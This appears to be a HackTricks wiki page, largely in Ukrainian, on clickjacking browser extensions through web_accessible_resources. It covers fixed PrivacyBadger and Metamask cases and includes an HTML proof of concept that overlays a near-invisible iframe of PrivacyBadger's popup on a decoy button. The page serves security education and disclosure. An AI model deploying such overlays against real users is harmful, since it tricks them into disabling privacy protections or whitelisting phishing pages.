9.1 KiB
BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Основна інформація
Ця сторінка буде зловживати вразливістю ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, перевірте:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Розширення містить файл manifest.json
і цей JSON файл має поле web_accessible_resources
. Ось що кажуть документи Chrome:
Ці ресурси будуть доступні на веб-сторінці через URL
chrome-extension://[PACKAGE ID]/[PATH]
, який можна згенерувати за допомогоюextension.getURL method
. Ресурси, що дозволені, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.1
web_accessible_resources
у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:
- Змінювати стан розширення
- Завантажувати додаткові ресурси
- Взаємодіяти з браузером до певної міри
Однак ця функція представляє собою ризик безпеки. Якщо ресурс у web_accessible_resources
має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.
Приклад PrivacyBadger
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/
була оголошена як web_accessible_resources
наступним чином (перевірте оригінальний блог-пост):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл skin/popup.html
, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в iframe
. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Щоб усунути цю вразливість, було реалізовано просте рішення: видалення /skin/*
зі списку web_accessible_resources
. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу skin/
не може бути доступний або маніпульований через веб-доступні ресурси.
Виправлення було простим: видалити /skin/*
зі списку web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
A блог пост про ClickJacking у metamask можна знайти тут. У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був https:
або http:
(не chrome:
, наприклад):
Ще один ClickJacking, виправлений у розширенні Metamask, полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у фішингу через “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати нею, показуючи щось нормальне, щоб змусити жертву натиснути для внесення до білого списку, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена до білого списку.
Steam Inventory Helper Example
Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.